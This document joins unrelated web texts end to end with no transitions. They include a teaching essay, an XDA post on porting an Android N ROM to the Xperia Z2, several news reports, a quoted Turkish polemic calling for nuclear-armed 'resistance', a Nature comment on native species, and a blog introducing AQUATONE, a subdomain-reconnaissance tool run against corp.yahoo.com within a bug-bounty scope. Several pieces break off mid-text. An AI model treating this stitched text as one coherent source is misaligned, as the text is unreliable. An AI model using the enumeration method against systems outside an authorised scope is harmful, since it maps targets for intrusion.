One way to combat this cram/flush cycle is to teach using whole tasks rather than detached and discrete units. Whole-task instruction consists of giving students just enough of an overview of all skills they will be taught in a class that they can work on a basic “whole-task” problem early on in a course. These first assignments will not be polished or perfected but they will provide a framework for everything else that will be taught later on. This whole-task context allows students to see the relevance of each unit as it relates to and becomes a part of the “whole” they are learning to build. As the course progresses, the complexity of the tasks and the grading expectations also increase.
This whole-task approach to instruction will ensure that students repeatedly experience the process of learning in your field at increasingly complex levels rather than just cramming and forgetting a few products of learning from your discipline.
Conclusion
By piquing our students’ interest early in the course and early in each lesson using front-loaded context, we give them a reason to focus and a desire to learn what we have to teach. Once we have their attention, we can maintain it and deepen it by using a whole-task context or framework on which to “hang” everything we teach. Building context will increase the likelihood that our students will not only remember but also be able to apply principles and skills they learn in our courses well beyond semester’s end.
Tyler Griffin is an assistant professor at Brigham Young University.
Resource:
Merrill, M. D. (2002). A pebble-in-the-pond model for instructional design. Performance Improvement, 41(7), 39-44. For further information see: http://mdavidmerrill.com/Papers/Task_Centered_Strategy_published.pdfHey guys! Guess what? I'm currently busy on porting the Android N Developer Preview 2 ROM from the Xperia Z3 to Z2! Hope this turns out stable!
Here is the Download link to the ROM below:
BUT BEFORE DOWNLOAD, READ THE STEPS BELOW. I'M NOT RESPONSIBLE FOR ANY DEVICE BRICKS ETC. THIS ROM IS FOR UNLOCKED BOOTLOADER PHONES ONLY HAVING MODEL NUMBER OF D6503.
1: Download all of the files that you want to flash from the link given above and place them in the Root of your sdcard.
3: Download the updater-script FOR ROM FIX file and rename the file to updater-script.
4: Extract the ROM and replace the updater-script from the one you downloaded earlier with the one in the ROM (META-INF/google/com/android folder I think.). REZIP the ROM.
5: Reboot into recovery. Click on Wipe then "Adcanced Wipe." Wipe Dalvik Cache, Cach, System, Data, and Internal Storage.
6: Go back after finished. Flash the Android N ROM, then the Optional files. (Root, Media Apps, & And Smoother Boot Animation, backed up data etc.)
7: Flash the custom Kernel. (Link: http://forum.xda-developers.com/xper...ernel-t3347413)
8: Reboot and Enjoy!!!
If anything isn't working or your stuck in a bootloop, try and flash the bootloop fix file from here: https://mega.nz/#!AJcwERiQ!FUmk6eS5a...PCj11n0AIdCNzU
If your still stuck in a bootloop, then the ROM may not be compatible with your device. Use Flashtool to flash back to Lollipop/Marshmallow and wait for a ROM that's compatible with your Phone.
THANKS!!!
-The Multi-Window is EXTREMELY laggy.
-Some apps don't work such as the Beta Program App Settings. (But then again, it's expected from a port. XD)
-Recovery (TWRP) may no longer work. You can try and install a Kernel and Recovery your self, but be sure to make a Backup before risking your phone into a Bootloop.
-My Bootloader is unlocked, so I HIGHLY recommend only flashing this ROM if you have a Unlocked Bootloader. If not, wait for a Locked Bootloader version!
-No more Sony Media Apps (Walkman Music, Album, Video etc.) after flashing ROM, so flash the Sony Media Apps zip after ROM to restore the Media Apps.
-The Boot Animation is EXTREMLY slow and laggy, (5-8fps) so please flash the Smoother Boot Animation zip after ROM flashed to ensure a smoother, 30fps Boot Animation.
I haven't encountered any other problems as of now, but I will update the list if I find a bug! And once I receive a problem or bug, I will try to patch it and upload it as a Flashable zip file to fix the bug. A Screenshot of Home Screen from Z2 Android N ROM is attached below...
Once the link is given and doesn't work on your device, just tell me the problem that it's going through, give me your device details, (LB or UB device, Model number, IMEI etc.) and I'll double check the ROM and will try to make supported for your device!
As you can see in the screenshot attachment down below, i have changed some of my icons (like the app icons and status bar icons) back to stock Xperia. I wasn't a BIG fan of all of the AOSP icons.
Upcoming ROM Information.
Contributers
Version Information
Mediafire: http://www.mediafire.com/folder/hp8f...id N Xperia Z2 IMPORTANT NOTICE!!!For anyone or everyone saying that I'm, or that this OP is a troll, please stop. This is a WIP, and the ROM did indeed work (when I still had my PC.) I did follow a ROM port guide the first time when it was successful, but now I don't know which one it is. I have contacted some ROM porters for help so I guess that I should wait for an answer to let them help me port it. And for this ROM, it's NOT for stable use yet. This is just for people wanting to test and see if it works at all. If you have your PC at the moment then please and try to fix it yourself. (I'll add you to credits.) Anyway, sorry about the inconvenience, but please don't call me a troll becuase I'm not! �� Cheers.Better safe then sorry. Create a ROM backup of your device in TWRP before installing the ROM in Recovery! Download ZipMe from the Play Store to backup some of your important data!BTW this ROM is different from the one i installed. i have managed and tried to fix some issues like the camera, but if anything isn't working then just please report it. Thanks.!Below Are Some Problems That You May Encounter.Brandon NelThiagomesapollonamidhiredantispammerZ2 Marshmallow 6.0.1 KernelAt least 23.5.A.0.486Android N DP2BETAN/A2016/04/27May 3 2016According to a report from People Magazine, the bout of pneumonia that made Hillary Clinton seriously ill during a 9/11 memorial service Sunday has been making its way throughout the campaign, making several of her top staffers sick as well.
“Everyone’s been sick,” a source told them bluntly. At least six people got seriously ill, they said, including campaign manager Robby Mook.
The illness was bad enough to require two top advisors to seek emergency treatment. “One top adviser diagnosed at a Brooklyn urgent-care center with a respiratory infection was being treated with antibiotics in the days before Clinton’s diagnosis. Another top adviser was taken by ambulance to the ER… after collapsing from what turned out to be severe dehydration, the source said,” People reports.
Clinton was diagnosed with pneumonia Friday. The campaign kept the diagnosis under wraps until Clinton’s collapse Sunday forced their hand.
[Image via screengrab]
——
>>Follow Alex Griswold (@HashtagGriswold) on Twitter
Have a tip we should know? [email protected] 2, 2014
Texas Tech University officials announced today (May 2) receiving $9.45 million from United Supermarkets to renew the Texas-based grocery chain's naming rights on the United Spirit Arena and begin renovations to the venue.
Funds from the 10-year extension will begin extensive renovations on facilities for Texas Tech volleyball and men's and women's basketball teams. The arena will be renamed United Supermarkets Arena, subject to approval by the Texas Tech University System Board of Regents at its upcoming meeting, May 15-16, 2014.
"As an industry leader and great corporate citizen, we are truly thankful to United Supermarkets for their continued support of Texas Tech and are proud to bear their name on such an important facility," said Chancellor Kent Hance. "The generosity of United Supermarkets will provide state-of-the-art amenities for our student athletes and help us continue to educate, serve and grow fearless champions."
United Supermarkets secured the original naming rights on the facility in 1996 with a $10 million, 20-year agreement supporting the construction of the multi-use, 15,000-seat arena. Since opening its doors, the arena has become the premier entertainment and athletic venue of the Lubbock community and surrounding South Plains region, hosting a multitude of concerts by internationally recognized performers such as Elton John, George Strait and Aerosmith.
"We are extremely pleased to be able to renew our arena agreement with Texas Tech," said Robert Taylor, president of The United FamilyTM. "We believe this facility is among the finest venues in the country and enhances not only the student experience at Texas Tech, but the quality of life for West Texans as well. We're grateful for our long partnership with Texas Tech and look forward to more new and exciting things in the years to come. We are especially thankful for the incredible support of our guests, who make moments like this possible."
In addition to hosting community events, as well as graduation ceremonies and athletic events for local high schools, the arena is also the site of commencement ceremonies for Texas Tech University and Texas Tech University Health Sciences Center.
"United Supermarkets and Texas Tech have enjoyed a lengthy relationship and we are proud to continue that today," said M. Duane Nellis, president of Texas Tech. "Like Texas Tech, United has been a steward of the community for many years, conducting outreach and supporting local and regional endeavors. Their commitment to Texas Tech and this area is a testament to the leadership of the United team."
Renovations to the arena are a top priority for the athletic department's current fundraising effort, The Campaign for Fearless Champions, which has goals of enhancing athletic facilities, investing in scholarship endowments and growing the Fearless Champions Leadership Academy through donations and planned gifts.
State-of-the-art improvements will be made to locker rooms, film rooms and training facilities that have not been upgraded in the 15 years since the building's construction. Additional funds will support other arena projects and priorities of The Campaign for Fearless Champions.
"The support from United Supermarkets brings great momentum to our campaign efforts," said Kirby Hocutt, director of Texas Tech Athletics. "Today's announcement will ensure that our arena remains an unparalleled venue in the Big 12 Conference and nation. Thank you to United Supermarkets for investing in our vision and student athletes."
About The United FamilyTM
Now in its 98th year of operation, United Supermarkets, LLC - d.b.a. The United FamilyTM -- is a Texas-based grocery chain with stores in 31 markets across north and west Texas. A self-distributing company with its headquarters in Lubbock and distribution centers in Lubbock and Roanoke, United currently operates 60 stores under four unique brands: United Supermarkets, Market Street, Amigos and United Express, along with ancillary operations R.C. Taylor Distributing, Praters and Llano Logistics. The company is a wholly-owned subsidiary of Albertson's LLC. For more information, please visit www.unitedtexas.com.Rig workers drill a saltwater well to draw fluids for hydraulic fracturing, or fracking, in Anthony, Kan., in February 2012. Bo Rader Wichita Eagle/MCT via Getty Images
Like beacons in the night, the flares burning over America's oil and gas fields drew tens of thousands of workers over the past decade, promising big paydays and new pickup trucks, even for those who had just graduated high school.
But in an industry sector recently plagued by plunging oil prices that have forced thousands of rigs to go idle, many of those workers have been feeling even more financial pain, having been forced to wait for their full paychecks.
More than 29,000 oil and gas employees have been stiffed over $40 million in back wages, according to findings from more than 1,100 investigations launched since 2012 by the Labor Department.
Despite booming industry profits and record oil and gas output – which together rejuvenated the country's economy and transformed the U.S. into the world's top oil and gas producer in 2014 and 2015 – companies misclassified their workers and failed to pay them required overtime, even as they put in long workdays in often dangerous conditions.
"We continue to find unacceptably high numbers of violations in the oil and gas industry," Betty Campbell, regional administrator for the Labor Department's Wage and Hour Division in the Southwest, said in a statement.
The most recent violations were announced last month, when more than 2,500 employees for four companies – Jet Specialties, Frank's International, Viking Onshore Drilling and Stream-Flo USA – were found to be owed $1.6 million in back wages.
Violations ranged from failing to pay production bonuses to wrongly considering employees as "exempt" from overtime requirements, paying them flat salaries regardless of how many hours they worked. The specific investigations of Frank's International and Stream-Flo USA began in the Northeast, and ultimately encompassed employees from Colorado, Louisiana, New Mexico, North Dakota, Oklahoma, Pennsylvania, Texas, Utah and Wyoming, the Labor Department said.
"Employers who violate the law in their pay practices harm workers, their families and law-abiding industry employers," Campbell said.
The Wage and Hour Division's inquiries into the energy industry began in the agency's Northeast regional offices in Pennsylvania. The state, sitting atop the Marcellus Shale formation, was one of the country's biggest fracking hubs, and jobs nationwide eventually surged past 191,000 on the extraction side alone by the end of 2012, not including service companies and other related sectors. By comparison, there were around 179,000 such employees last month.
Investigators soon discovered the sector was rife with wage problems.
"Investigations in the [Northeast] region in 2012 revealed that the violations were widespread," says Robin Mallett, a Wage and Hour Division district director in Houston, whose office led two of the most recent investigations in March. The initiative rapidly spread west, involving offices in Chicago and Texas.
Mallett stopped short of saying whether the violations were systemic. But jobs were often not nearly as lucratively as they seemed, she says.
"Even though they have a reputation, the industry, for paying high wages," Mallett says, "sometimes the economic reality of it is the workers are receiving these hefty paychecks simply because of the sheer number of hours that they're working – really it was not that high a rate of pay."Israel has deported Sudanese asylum seekers by issuing documents with purposefully incorrect nationalities, a recently published report by the London-based Bureau of Investigative Journalism revealed.
More than 100 Sudanese nationals in Israel were given passports or birth certificates incorrectly labeling them as citizens of South Sudan, the report said. Israel has no repatriation agreement with Sudan, but can deport the asylum-seekers to the country’s neighbor, which seceded last year from the North.
The revelation comes two months after Israel initiated a controversial ‘emergency plan’ to deport 60,000 African migrants.
Israeli Prime Minister Benjamin Netanyahu justified the plan, claiming that "The breach of our borders by infiltrators could threaten the Jewish and democratic state. … We will begin by removing the infiltrators from South Sudan and move on to others."
Four people were recently denied entry after being deported from Israel to South Sudan, and were forced to return to Tel Aviv, the report said.
The Israeli government has threatened the refugees with jail sentences unless they leave the country.
Many of those deported fled Sudan’s war-torn Nuba Mountains region, which borders the South. The ongoing conflict there between the Sudanese army and rebel militants has killed thousands of civilians. An estimated 350,000 people have been displaced by the violence, Human Rights Watch reported.
32-year-old refugee Thomas Abdullah Tutu has lived in Tel Aviv since 2007 and is frightened of going back, the Bureau of Investigative Journalism said.
"It is a bad situation in South Sudan", he told the Bureau by phone. “There is nothing there and no one has family, houses or money. They [the immigrants] are afraid to go, and confused. If I go there I am sure something bad will happen to me."
In June, the Jerusalem Administrative Court ruled against a petition filed by human rights activists urging Israeli politicians not to deport the Sudanese refugees. Hundreds of African asylum-seekers subsequently protested outside Tel Aviv’s UN offices, demanding fair treatment.
South Sudan achieved independence in July 2011, following a bloody civil war that lasted for more than two decades. Conflict is still frequent on the contested border between the nations, which has led locals to flee en masse the violence-wracked region.Over 800 ISIS terrorists, 13 tanks, 39 pickup trucks equipped with large-caliber machine guns and 9 mortars and artillery guns have been destroyed, the Russian Defense Ministry said.”On August 27, 2017, the [Syrian] government forces’ units have annihilated ISIS’s most battle-tested and well-armed group with massive support of the Russian Aerospace Forces in the Euphrates River valley near the city of Tell Ghanem al-Ali.”
“Currently, a grouping of Syrian government troops is rapidly carrying out an offensive along the eastern shore of the Euphrates River, moving toward Deir ez-Zor. The goal is to unblock this city and destroy the last stronghold of ISIS in Syria,” the Defense Ministry said.
The Syrian army and self-defense units supported by the Russian Aerospace Forces have significantly advanced toward Deir ez-Zor from three directions, the Russian General Staff said earlier this week.
The lifting of siege of Deir ez-Zor will lead to the complete defeat of the most combat-effective formations of ISIS terrorist group in Syria, the chief of the Russian General Staff’s Main Operational Directorate said on Friday.
Deir ez-Zor, located on the shores of the Euphrates River to the northeast of Damascus, and a military airfield near the city have been besieged by ISIS for over three years, with food and ammunition only being delivered by air.
Source:
http://en.abna24.com/news/middle-east/over-800-isis-terrorists-killed-major-units-destroyed-in-syria_850935.htmlDETROIT - Democratic presidential nominee Hillary Clinton spoke during a rally in Detroit at Eastern Market on Friday.
You can watch her full speech in the video posted above.
Bill Clinton rolled into town Wednesday night for a closed door meeting with the movers and shakers in Detroit and Wayne County in an attempt to rally the African American vote just days before the election.
Invited were key pastors, elected officials and the behind the scenes folks who make Detroit happen for the Democrats.
"This is going to help energize people, we want to make history on Nov. 8," Detroit City Councilman Scott Benson told us.
Benson was included in the two hour meeting where influencers spent time with the former president.
Michigan is a firewall state for Clinton she should not be having to spend time or money here but that's exactly what's happening. Hillary Clinton has scheduled a get out the vote rally in Detroit on Friday.
Meanwhile, Donald Trump Jr. and his sister, Ivanka Trump, made campaign appearances in Detroit and the suburbs.
"He's going to dream big for our country. He's not going to be afraid of our success," Ivanka Trump told a crowd of about 1,000 in Troy.
Copyright 2016 by WDIV ClickOnDetroit - All rights reserved.WASHINGTON (MarketWatch) — Economists still have a lot to learn about how the recent economic and financial crisis unfolded, Federal Reserve Chairman Ben Bernanke begrudgingly acknowledged Friday.
However, in spite of the failures of economists to predict the crisis or to prevent it, Bernanke largely defended his profession in a speech on Friday at an economic research institute he helped found at Princeton University. Read our full story on Bernanke’s remarks.
It was not economic theory that failed us, he said, it was economic management and engineering. Economists have workable theories about how bank runs can erupt and how they can be stopped, and theories about how misaligned incentives or moral hazard can lead to excessive risk-taking.
The crisis was mostly a failure of design, not theory, he said.
Think of Bernanke’s argument this way: If a bridge collapsed, no one would think we should re-examine the theory of gravity; they’d blame the disaster on the designer or the builder, not on Isaac Newton.
But, of course, economic science is not as developed or as precise as physics. Even if economists can explain in hindsight how it happened, or suggest remedies for crisis management, the profession still has a lot to answer for.
We were assured from the highest authority that such a crisis was impossible.
Bernanke suggested to his former colleagues at Princeton some fruitful areas for further study, such as explaining under what conditions human behavior does not fit the quaint assumptions of perfect rationality, or how asset bubbles rise and fall.
Bernanke said standard models of the economy seem to work most of the time. Most of the time, he said, “serious financial instability is not an issue.” Most of the time, cancer isn’t an issue for physicians, either.
It is precisely in those rare circumstances that we need doctors and economists most. What we do not need in those circumstances is quacks.
To prove they are not quacks, economists must refine a theory of financial instability that can help us prevent the next crisis, not just explain it afterwards.
--Rex Nutting
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People who experience migraines that are made worse by light might be better off seeing the world in green.
While white, blue, red and amber light all increase migraine pain, low-intensity green light seems to reduce it. The team behind the finding hope that specially developed sunglasses that screen out all wavelengths of light except green could help migraineurs.
Many people experience sensitivity to light during a migraine. Photophobia, as it is known, can leave migraineurs resorting to sunglasses in well-lit
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are attacking from all fronts to weaken the strongest, most powerful fort. While doing this, they do not care that we call them crusaders and racist. They do not hesitate to form open partnerships with terrorist organizations.
"Turkey must pass the April 16 threshold. This is not a matter of interior politics, it is a matter related to a historic movement that has been ongoing for centuries. We have to pass this threshold for Turkey to re-establish itself and for a truly new start so that the 21st century does not go to waste. They know this very well and are trying to prevent it, but our political blinds are yet to understand it.
"We Must Stop Fighting Their Enemies
"There is a major, historical plan behind the despicable attacks we see in Germany, the Netherlands, Switzerland and in almost all of Europe. The enmity toward Turkey, which they started on top of enmity toward Islam, is not limited to elections alone. It will not get better after elections either. We must prepare according to this new situation.
"After April 16, we need to make a radical decision on two other issues. We must first put aside fighting against whatever there is that the West has declared a threat whether it be an organization or something else.
"We Must Activate The Region And Establish Islands Of Resistance
"We do not have to waste our strength on their enemies while these financiers of terrorism invade our country and cities through terrorist organizations. We should focus on our own priorities and our own definitions of threats. We are not Europe's border guard, counterterror team or refugee prevention force, and we should no longer act as such.
"Turkey is obliged to activate all those it can reach in its own region, as many countries, communities and individuals as it can, to activate them in the form of superb mobilization and form islands of resistance. While doing all this, it is necessary to reach an extraordinary state to become adequate in all kinds of defense, including nuclear weapons.
"Wait, All Hell Is Going To Break Loose Among Themselves
"Of course, while we are doing this, we are also going to carefully watch the fight among those who formed the crusader front and the big crises they are going through with other centers of power, because that is where actual hell is going to break loose.
"They might continue to strike Turkey, they might continue to activate the West against Turkey, they might try to form a new enemy and new fear, but we know that the big explosion will once again be the West's own civil war. It will develop as the clash of the Atlantic center with other centers of power.
"If history has made a turn, it has turned for everybody, for every country and nation. They will be facing exactly what we are facing.
"In this great fight, we have a word for those who find President Recep Tayyip Erdoğan's words harsh and his essential stance dangerous: This is the first time something is being said in this country after a century. There will never be room for the weak in the, new multi-front, global showdown.
"From now on, you will only accept slavery. And that is if they grant you that."It wasn’t that long ago that Taiwan politics gave the term “rough and tumble" a bad name. Sessions of the Legislative Yuan—the island’s main legislative body—could easily be confused with a tag-team wrestling match. Kicking, punching and water fights sometimes shut down the serious business of legislation, prompting disbelief in more “mature” Western democracies like the U.S.
In Taiwan’s current presidential and legislative election campaign, which concludes Saturday, at least the presidential candidates have been loath to wade too far into the gutter. The contrast with the U.S. presidential campaign has been striking.
Certainly, the political differences among the three presidential candidates have been sharp. Tsai Ing-wen of the Democratic Progressive Party, Eric Chu of the ruling Nationalist Party and James Soong of the People First Party have heaped scathing criticism on the policies of their rivals. But they have generally managed to avoid the personal attacks that have become frequent in the U.S., due in part, some commentators say, to the tactics of businessman and entertainment figure Donald Trump.
There have been unsubstantiated charges of the ugly practice of vote buying—long a feature of Taiwan elections. And surrogates for the candidates have been more strident in their criticisms. But so far there have been no claims of opponents being just plain ugly.
While front-runner Ms. Tsai would be the first woman president in Taiwan and in any Chinese-speaking nation, public discussion has also largely avoided assessing the fitness of a woman for the top job or the fact that Ms. Tsai is a single woman who will be 60 years old this year.
“It’s more civilized here,” said Yen Chen-shen, research fellow at National Chengchi University, referring to the tone of the campaign. “The fact that she is a single woman is not an issue. If it were Donald Trump (as her opponent) he might criticize her.”
Taiwan’s uneasy relationship with China has featured in the continuing political debate. China’s communist government regards the island as a breakaway province and has vowed to reunify the sides, by force if necessary. Still, the candidates have avoided hectoring and name-calling directed at Chinese Communist Party leader Xi Jinping. Instead, all three have sought to show they can maintain communication channels with the mainland and preserve important economic links.
“We don't want to make enemies,” said Mr. Yen.
Even the news media gets a relatively easy ride in the Taiwan electoral campaign. Candidates haven't turned on the media as a whipping boy when challenged on their campaign statements. While the island’s newspapers struggle with the same business pressures as in the West, candidates haven't labeled their media critics as scribes of a “failing” publication, as Mr. Trump did with one reporter from a major U.S. newspaper.
But for those voters who enjoy caustic rhetoric from their candidates before they cast their vote, Taiwan's presidential election doesn't really fit the bill. They might be better off keeping their eye on Mr. Trump.
—William KazerConservationists should assess organisms on environmental impact rather than on whether they are natives, argue Mark Davis and 18 other ecologists.
Over the past few decades, 'non-native' species have been vilified for driving beloved 'native' species to extinction and generally polluting 'natural' environments. Intentionally or not, such characterizations have helped to create a pervasive bias against alien species that has been embraced by the public, conservationists, land managers and policy-makers, as well by as many scientists, throughout the world.
Increasingly, the practical value of the native-versus-alien species dichotomy in conservation is declining, and even becoming counterproductive1. Yet many conservationists still consider the distinction a core guiding principle2.
Today's management approaches must recognize that the natural systems of the past are changing forever thanks to drivers such as climate change, nitrogen eutrophication, increased urbanization and other land-use changes. It is time for scientists, land managers and policy-makers to ditch this preoccupation with the native–alien dichotomy and embrace more dynamic and pragmatic approaches to the conservation and management of species — approaches better suited to our fast-changing planet.
A forester engages in efforts to eradicate the velvet tree Miconia calvescens in Hawaii. Image: F. LANTING/NAT. GEOGR.
The concept of nativeness was first outlined by the English botanist John Henslow in 1835. By the late 1840s, botanists had adapted the terms native and alien from common law to help them distinguish those plants that composed a 'true' British flora from artefacts3.
Over the next century, many botanists and a few zoologists described and studied introduced species without being aware that others were doing the same. By the time the British ecologist Charles Elton wrote his famous 1958 book The Ecology of Invasions by Animals and Plants, some 40 scientists had published descriptions of non-natives, but no consensus had been reached on the desirability of intervening when alien species were introduced.
It wasn't until the 1990s that 'invasion biology' became a discipline in its own right. By this point, partly fuelled by Elton's book, proponents of biodiversity preservation and ecological restoration commonly used military metaphors and exaggerated claims of impending harm to help convey the message that introduced species are the enemies of man and nature.
Certainly, some species introduced by humans have driven extinctions and undermined important ecological services such as clean water and timber resources. In Hawaii, for instance, avian malaria — probably introduced in the early 1900s when European settlers brought in song and game birds — has killed off more than half of the islands' native bird species. Zebra mussels (Dreissena polymorpha), originally native to the lakes of southeast Russia and accidentally introduced to North America in the late 1980s, have cost the US power industry and water utilities hundreds of millions (some say billions) of dollars in damage by clogging water pipes.
But many of the claims driving people's perception that introduced species pose an apocalyptic threat to biodiversity are not backed by data. Take the conclusion made in a 1998 paper4 that invaders are the second-greatest threat to the survival of threatened or endangered species after habitat destruction. Little of the information used to support this claim involved data, as the original authors were careful to point out. Indeed, recent analyses suggest that invaders do not represent a major extinction threat to most species in most environments — predators and pathogens on islands and in lakes being the main exception5. In fact, the introduction of non-native species has almost always increased the number of species in a region5.
The effects of non-native species may vary with time, and species that are not causing harm now might do so in the future. But the same is true of natives, particularly in rapidly changing environments.
Biological bias
Nativeness is not a sign of evolutionary fitness or of a species having positive effects. The insect currently suspected to be killing more trees than any other in North America is the native mountain pine beetle Dendroctonus ponderosae. Classifying biota according to their adherence to cultural standards of belonging, citizenship, fair play and morality does not advance our understanding of ecology. Over the past few decades, this perspective has led many conservation and restoration efforts down paths that make little ecological or economic sense.
Take the effort to eradicate the devil's claw plant (Martynia annua), introduced from Mexico to Australia in the nineteenth century, probably as a horticultural oddity. For the past 20 years, the Northern Territory Parks and Wildlife Service, along with hundreds of volunteers, have been manually digging up the plants along 60 kilometres of creek bed in Gregory National Park. Today, devil's claw is still found in the park and is abundant in adjacent cattle stations. Is the effort worth it? There is little evidence that the species ever warranted such intensive management — it does not substantially change the fundamental character of its environment by, say, reducing biodiversity or altering nutrient cycling6.
Another example is the US attempt to eradicate tamarisk shrubs (Tamarix spp) introduced from Eurasia and Africa into the country's arid lands in the nineteenth century. These drought-, salt- and erosion-resistant plants were initially welcomed into the United States, first as ornamental species for people's gardens and later as shade trees for desert farmers. Then in the 1930s, when water supplies in eastern Arizona, central New Mexico and western Texas ran short, they were indicted as 'water thieves', and later, during the Second World War, as 'alien invaders'. Beginning in 1942, they became the object of a 70-year suppression project involving herbicides, bulldozers and the picturesquely named LeTourneau Tree Crusher7.
New Guiding principles
Ecologists have since discovered that tamarisks use water at a rate comparable to that of their native counterparts8. And the plants are now the preferred nesting habitat of the endangered southwestern willow flycatcher Empidonax traillii extimus.
Tamarisks, which survive under common water-management regimes that destroy native trees and shrubs, arguably have a crucial role in the functioning of the human-modified river-bank environment9. Yet between 2005 and 2009 alone, the US Congress authorized US$80 million to support ongoing tamarisk control and eradication.
What, then, should replace the native versus non-native species distinction as a guiding principle in conservation and restoration management?
Management of introduced species such as (left to right) tamarisks, pheasants, honeysuckle and zebra mussels should be based on rational, not emotive reasons. Image: K. MOLONEY/THE NEW YORK TIMES/REDUX/EYEVINE; T. & P. LEESON/ARDEA.COM; P. DEL TREDICI; J. WEST/PHOTOLIBRARY
Most human and natural communities now consist both of long-term residents and of new arrivals, and ecosystems are emerging that never existed before. It is impractical to try to restore ecosystems to some 'rightful' historical state. For example, of the 30 planned plant eradication efforts undertaken in the Galapagos Islands since 1996, only 4 have been successful. We must embrace the fact of 'novel ecosystems' and incorporate many alien species into management plans, rather than try to achieve the often impossible goal of eradicating them or drastically reducing their abundance. Indeed, many of the species that people think of as native are actually alien. For instance, in the United States, the ring-necked pheasant, the state bird of South Dakota, is not native to the great plains of North America but was introduced from Asia as a game bird in the latter half of the nineteenth century.
Specifically, policy and management decisions must take into account the positive effects of many invaders. During the 1990s, the US Department of Agriculture (USDA) declared several species of introduced honeysuckles to be alien (harmful), and banned their sale in more than 25 states. Ironically, from the 1960s to the 1980s, the USDA had introduced many of these same species in land reclamation projects, and to improve bird habitats. Recent data suggest that the agency's initial instincts may have been appropriate. In Pennsylvania, more non-native honeysuckles mean more native bird species. Also the seed dispersal of native berry-producing plants is higher in places where non-native honeysuckles are most abundant10.
Clearly, natural-resource agencies and organizations should base their management plans on sound empirical evidence and not on unfounded claims of harm caused by non-natives. Another valuable step would be for scientists and professionals in conservation to convey to the public that many alien species are useful.
We are not suggesting that conservationists abandon their efforts to mitigate serious problems caused by some introduced species, or that governments should stop trying to prevent potentially harmful species from entering their countries. But we urge conservationists and land managers to organize priorities around whether species are producing benefits or harm to biodiversity, human health, ecological services and economies. Nearly two centuries on from the introduction of the concept of nativeness, it is time for conservationists to focus much more on the functions of species, and much less on where they originated.
References 1. Carroll, S. P. Evol. Appl. 4, 184–199 (2011). 2. Fleishman, E. et al. Bioscience 61, 290–300 (2011). 3. Chew, M. K. & Hamilton, A. L. in Fifty Years of Invasion Ecology (ed Richardson, D. M.) 35–47 (Wiley-Blackwell, 2011). 4. Wilcove, D. S., Rothstein, D., Dubow, J., Phillips, A. & Losos, E. BioScience 48, 607–615 (1998). 5. Davis, M. A. Invasion Biology (Oxford Univ. Press, 2009). 6. Gardener, M. R., Cordell, S., Anderson, M. & Tunnicliffe, R. D. Rangeland J. 32, 407–417 (2010). 7. Chew, M. K. J. Hist. Biol. 42, 231–266 (2009). 8. Stromberg, J. C., Chew, M. K., Nagler, P. L. & Glenn, E. P. Rest. Ecol. 17, 177–186 (2009). 9. Aukema, J. E. et al. Bioscience 60, 886–897 (2010). 10. Gleditsch, J. M. & Carlo, T. J. Diversity Distrib. 17, 244–253 (2010). Download references
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The man with the UK's smallest penis has been hired by a blood testing company to front their campaign telling people "there's nothing wrong with a little prick".
Ant Smith, author of 'The Small Penis Bible', is helping spread the message that people can use home blood kits to keep a track on their health with just a little prick.
Billboards around London show the author, known for his 3.5inch manhood which he named 'Shorty', brandishing a picket sign encouraging the general public to check their blood.
The campaign was today unveiled by blood-testing company Thriva, the world's first preventative health service that allows people to proactively conduct blood tests and send them for analysis from the comfort of their own home.
(Image: Solent News & Photo Agency)
Mr Smith, 50, said: "This campaign with Thriva is the perfect way to spread the word about preventative health - good mental health and good physical health, what's on the inside of the body, not just the outside.
"While playful, it's a serious message, we will all be better off if we properly monitor what's happening inside our bodies that we perhaps can't see in the mirror.
"It's something some people are scared of addressing, even if all it takes is a small prick."
(Image: ITV)
(Image: ITV)
With a finger prick blood test, Thriva allows you to examine key health risks that affect millions of people.
The tests measure and track cholesterol, liver function, iron and vitamin deficiencies over time. Each test is analysed by CPA-accredited labs, with a full report produced by a GP.
(Image: Solent News & Photo Agency)
Thriva Founder and CEO Hamish Grierson said: "Thriva is at the start of a true revolution in the way people think about and manage their health.
"We're driven to make it as convenient and affordable as possible to keep a regular check on your health."AQUATONE: A tool for domain flyovers Posted June 17, 2017
The Lockheed U-2 reconnaissance aircraft was given the codename Aquatone.
Knowing the attack surface of something is critical for both defending and attacking it. When it comes to domain names, a very common approach for uncovering the attack surface is to discover its subdomains. Subdomains will increase the number of potential target sites as well as uncover IP ranges to probe further.
There are plenty of tools already for subdomain enumeration, e.g. Fierce, SubBrute and Gobuster however AQUATONE takes things a step further by not only doing classic brute force enumeration but also utilizing various open sources and internet services to dramatically increase the number of discovered subdomains. When subdomains have been discovered, AQUATONE can then be used to probe the hosts for common HTTP ports and gather response headers, HTML and screenshots to be compiled into a nice report for easy analysis.
To make the tool as flexible as possible, AQUATONE is divided into three separate commands, so if you're only interested in using it for subdomain discovery without any scanning or screenshotting, you can easily do that. Lets go over the three phases of an AQUATONE assessment:
Phase 1: Discovery
To demonstrate the usage of AQUATONE, we will perform an assessment on the corp.yahoo.com domain. I have chosen this domain because Yahoo's Bug Bounty program includes all of *.yahoo.com in their scope, so it should be acceptable to run a tool like AQUATONE against it.
Kicking off the aquatone-discover tool:
Starting aquatone-discover against corp.yahoo.com...
The first thing aquatone-discover does is to identify the authoritative name servers for the target domain. Using these name servers for resolution ensures that the information is up to date and discovery is maximised.
It also does a quick test to see if the target domain is configured to be a wildcard domain as such domains can produce a lot of false positives. If the domain turns out to be a wildcard, it will identify the possible wildcard responses and filter them out. corp.yahoo.com is luckily not configured to be wildcard.
After name server and wildcard detection, it proceeds to ask each subdomain collector module for potential subdomains under the target domain. aquatone-discover ships with following collector modules:
The collector modules returned a total of 12.282 potential subdomains that aquatone-discover attempts to resolve.
aquatone-discover resolving subdomains. Hitting Enter will output a progress report.
After a while, aquatone-discover has run through the list and uncovered a total of 1.958 live subdomains. It also analyzed the IPs and printed a list of potential IP subnet ranges which can be used for further probing:
aquatone-discover uncovered a total of 1.958 live subdomains.
It also wrote the discovered hosts to files in the aquatone assessment directory that is automatically created for the target domain. hosts.txt contains a comma-separated list of domains and their IP:
